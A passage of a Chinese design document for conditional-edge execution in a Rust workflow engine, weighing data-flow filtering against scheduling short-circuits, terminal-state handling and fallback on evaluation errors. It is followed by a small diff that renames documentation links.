> **决策点 A需用户确认**:表达式引擎走手写最小求值器,还是引 `evalexpr`?本文档默认推荐手写。若用户倾向引库,§五的接线方案不变,仅 §三的"实现"段替换。
---
## 四、接线方案
review 给了两种短路粒度,本文档详析:
### 4.1 方案一数据流过滤Phase1
**改动点**executor inputs 收集处(`executor.rs:91-97`)。
```rust
// 伪码
let mut inputs = HashMap::new();
if let Some(preds_with_cond) = adjacency_in.get(node_id) {
for (pred_id, cond_opt) in preds_with_cond {
if let Some(out) = outputs.get(pred_id) {
// 边有条件 → 求值;条件 false 则不灌入此条边的数据
if let Some(cond) = cond_opt {
let ctx = json!({ pred_id: out }); // 单前驱上下文
match ConditionEngine::evaluate(cond, &ctx) {
Ok(true) => { inputs.insert(pred_id.clone(), out.clone()); }
Ok(false) => { /* 跳过此边,不灌入 */ }
Err(e) => { /* 求值失败兜底,见 §六 */ }
}
} else {
inputs.insert(pred_id.clone(), out.clone());
}
}
}
}
```
需配套:`adjacency_in` 的 value 从 `Vec<NodeId>` 改为 `Vec<(NodeId, Option<String>)>`,携带 `edge.condition`(构建处 `executor.rs:62-68` 同步改)。
**语义**target **照常执行**,只是某些前驱的数据不灌入。适合"多前驱汇聚、按条件选择部分输入"的场景。
**局限**target 仍被执行。若用户意图是"a 条件不满足时 c 整个不跑"单条件边、target 唯一前驱数据流过滤做不到——target 会以空 inputs 执行,语义错位。
### 4.2 方案二调度短路Phase2
**改动点**:层调度处(`executor.rs:70-119` 的 for 循环)。
执行某层前,对层内每个 target 检查:若**所有入边**条件求值均为 false或其唯一条件边为 false则 target 标记"条件跳过"终态、不进入 `node_futures`、不发 NodeStarted。
**关键约束set_skipped 已删**。R-P2-13 删了 `set_waiting/set_skipped`(全仓零调用,误导状态机认知),保留 `set_cancelled` 作"唯一受控旁路"。`NodeStatus::Skipped` 枚举值仍在(`types.rs:243``as_str` 能输出 `"skipped"`),但**无 setter**。调度短路需要一个"条件不满足、target 不执行"的终态,必须解决这个缺口。
### 4.3 两种短路粒度对比
| 维度 | 方案一 数据流过滤 | 方案二 调度短路 |
|------|------------------|----------------|
| target 是否执行 | 执行(部分输入被过滤) | 不执行(直接跳过) |
| 适用场景 | 多前驱汇聚、按条件选输入 | 单条件边、条件不满足则 target 整个不跑 |
| 用户意图匹配 | 部分 | 完整(用户编条件边的典型意图) |
| 终态机制 | 不需要target 走 Completed | **需要新终态**set_skipped 已删,见 §五) |
| 改动面 | inputs 收集 + adjacency_in 携带 condition | 层调度 + 终态机制 + 事件NodeSkipped? |
| 风险 | 低(数据流层面,不影响调度) | 中(动调度循环 + 状态机) |
---
## 五、推荐分阶段
**Phase1数据流过滤先打通**
- 范围:§四.1,仅 inputs 收集处接线 ConditionEngine。
- 效果:多前驱汇聚场景立即可用;单条件边场景 target 仍执行(空 inputs需文档标注"Phase1 已知局限"。
- 改动面小、零终态机制冲突、可独立 ship。
**Phase2调度短路补完整语义**
- 范围:§四.2,层调度处短路 target。
- **前置:解决 set_skipped 删除后的终态机制**——见下。
### 5.1 set_skipped 删除后的短路机制设计Phase2 前置)
R-P2-13 删 `set_skipped/set_waiting` 时,"条件跳过"这一用例尚未接线ConditionEngine 从未调用,无消费方),删除合理。现在 Phase2 要用"条件跳过"终态,三个选项:
| 选项 | 做法 | 取舍 |
|------|------|------|
| **A. 复活 set_skipped 旁路** | `state.rs` 加回 `set_skipped`,与 `set_cancelled` 同型(不经 transition 校验,直接置 `NodeStatus::Skipped`),注释说明"条件跳过专用,区别于 set_cancelled 的人工取消语义" | 最直接;但与 R-P2-13 删除动机("全仓零调用、误导状态机认知")冲突——需明确这是新用例落地后的复活,非反复 |
| **B. 复用 set_cancelled** | 条件短路也走 `set_cancelled`target 终态为 Cancelled | 语义污染Cancelled 现专指"人工审批取消",条件跳过混入会让 `is_cancelled` 判断与前端"取消"语义混乱。**不推荐** |
| **C. 走 transition 合法转换** | 扩 `is_legal``(Running, Skipped)`,调度短路前先 `set_running``transition(Skipped)` | 走正门最干净,但需 target 先进 Running 再转 Skipped两步且 NodeStarted 已发→语义噪声(节点"启动后立即跳过")。或扩 `(Pending, Skipped)` 直接转换,但破坏"Pending 必经 Running"的不变量 |
**推荐 A**:复活 `set_skipped` 旁路,注释明确区分两种"非正常终态"语义:
- `set_cancelled`:人工审批取消(外部 IPC 触发,节点可能已 Running
- `set_skipped`:条件分支跳过(调度层求值条件为 falsetarget 从未进入 Running
两者均不经 transition 校验(条件短路时 target 在 Pending 态,`Pending→Skipped` 走 transition 会被 `is_legal` 拒,与 `set_cancelled` 同理需旁路)。
> **决策点 B需用户确认**Phase2 的条件跳过终态走选项 A复活 set_skipped 旁路)?本文档默认推荐 A。若用户倾向 C扩 transition 合法转换),需同步评估 NodeStarted/NodeSkipped 事件序列与"Pending 必经 Running"不变量的取舍。
### 5.2 Phase2 配套事件
`df-core/events::WorkflowEvent` 当前有 NodeStarted/NodeCompleted/NodeFailed。Phase2 条件短路需补 `NodeSkipped { node_id, reason }`reason = 哪条边的条件为 false + 表达式),前端可据 reason 渲染"跳过原因",闭环"对用户非静默"R-PD-3 原诉求)。
---
## 六、改动面 + 风险
### 6.1 改动面(行号基于当前 HEAD
| Phase | 文件:行 | 改动 |
|-------|---------|------|
| 1 | `crates/df-workflow/src/conditions.rs:16-33` | evaluate 扩展为手写最小求值器(§三.3|
| 1 | `crates/df-workflow/src/executor.rs:62-68` | `adjacency_in` value 改 `Vec<(NodeId, Option<String>)>`,携带 condition |
| 1 | `crates/df-workflow/src/executor.rs:91-97` | inputs 收集处调 `ConditionEngine.evaluate`false 不灌入 |
| 2 | `crates/df-workflow/src/executor.rs:70-119` | 层调度前求值各 target 入边条件,全 false 则短路 |
| 2 | `crates/df-workflow/src/state.rs` | 复活 `set_skipped` 旁路(选项 A|
| 2 | `crates/df-core/src/events.rs` | 加 `WorkflowEvent::NodeSkipped` |
| 2 | `crates/df-workflow/src/executor.rs` | 短路时发 NodeSkipped + set_skipped不进 node_futures |
### 6.2 风险
**R1多前驱 context 拼装**。§四.1 伪码用 `json!({ pred_id: out })` 单前驱上下文。多前驱汇聚时,条件表达式需访问哪个前驱?两种设计:
- (a) 表达式内显式写前驱 id`a.output.status == 'ok'`——context 拼成所有前驱 `{ "a":..., "b":... }`,求值器按 `a.output.x` 路径取值
- (b) target 的所有入边条件独立求值,各用单前驱上下文——不支持"跨前驱联合判断"
推荐 (a)context 拼全前驱,求值器路径访问。`pred.output.xxx` 在 review 第 49 行已示意。
**R2条件求值失败的兜底**。求值出错(语法错 / 路径不存在 / 类型不匹配)时返 `Err`executor 怎么处理?
| 选项 | 语义 | 取舍 |
|------|------|------|
| **默认 true** | 求值失败 = 放行 | 与 ConditionEngine 当前的"未识别默认 false"B-260614-02相反破坏保守拒绝原则。**不推荐** |
| **默认 false** | 求值失败 = 拒绝(条件边不灌入 / target 跳过)| 与 B-260614-02 的保守拒绝一致;但用户表达式写错时 target 静默不跑,需配套告警 |
| **报错中止工作流** | 求值失败 = 工作流 Failed | 最显式,但单个条件边语法错炸整条工作流,可能过激 |
**推荐:默认 false + warn 日志 + Phase2 的 NodeSkipped.reason 透出表达式**。条件边本质是"用户声明的过滤规则",规则写错应保守拒绝(不执行)而非放行,与现有保守拒绝原则对齐;非静默靠 warn + reason 闭环。区别于 B-260614-02 的"引擎未实现"(那是 TODO 完全未做),这里是"用户表达式语法错"——两者都走 false但 warn 文案区分。
> **决策点 C需用户确认**:条件求值失败兜底走"默认 false + warn"(推荐)还是"报错中止工作流"
**R3topological_layers 计入条件边入度的交互**。Phase1 数据流过滤不动 topological_layers条件边仍计入入度、target 仍分层调度——这与"条件边语义"不冲突Phase1 只过滤数据不拦调度。Phase2 调度短路有两种实现路径:
- (a) topological_layers 内部按条件过滤无效边(需把前驱输出传进 topological_layers但分层时前驱尚未执行条件无法求值——**不可行**,条件依赖运行时输出
- (b) 分层照常(含条件边入度),执行时层调度前求值条件短路 target——**可行**条件求值发生在前驱已完成、target 将执行的边界
推荐 (b)。topological_layers 保持纯结构(不掺运行时),条件求值在 executor 调度边界。
**R4循环依赖风险**。条件边若构成 target 的所有入边均条件 falsetarget 永不执行。这是用户 DAG 的逻辑,引擎照常短路即可,不需特殊处理(与"用户写了死代码节点"同类)。
**R5与 R-PD-2ScriptNode 任意 shell的边界**。条件表达式本身不经 shell纯内存求值无 R-PD-2 的 shell 注入面。但若 Phase2 引第三方 expr 库(§三.3 若用户改选 evalexpr其函数调用能力需配置禁用前端可构造任意表达式
---
## 七、待用户确认的决策点
| # | 决策 | 推荐 | 备选 |
|---|------|------|------|
| A | 表达式引擎实现 | 手写最小求值器(零依赖、语法可控)| 引 `evalexpr`(成熟、能力全、攻击面大)|
| B | Phase2 条件跳过终态机制 | 复活 `set_skipped` 旁路(与 `set_cancelled` 同型,语义区分)| 扩 `is_legal` 走 transition 正门(破坏 Pending→Running 不变量)|
| C | 条件求值失败兜底 | 默认 false + warn + NodeSkipped.reason 透出 | 报错中止整条工作流 |
确认后即可按 §五分阶段推进Phase1数据流过滤独立可 shipPhase2调度短路 + 终态机制)依赖决策点 B。

View File

@@ -1,8 +1,8 @@
# 经验记录
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录.md)(记需求规格 + 设计决策规格)。
> DevFlow 开发中沉淀的**经验性内容**——踩坑、约定、技巧、bug 排查教训。聚焦「这个坑怎么踩的 / 这个约定为什么这么定 / 这个 bug 怎么定位的」,区别于 [功能决策记录](./功能决策记录-2026-06-14.md)(记需求规格 + 设计决策规格)。
>
> 创建2026-06-14从功能决策记录.md 分流出经验性条目) | 维护:随开发追加
> 创建2026-06-14从功能决策记录-2026-06-14.md 分流出经验性条目) | 维护:随开发追加
## 约定
@@ -136,5 +136,5 @@
---
**相关文档**
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水 / 老 Sprint / UX 微调 / 已被取代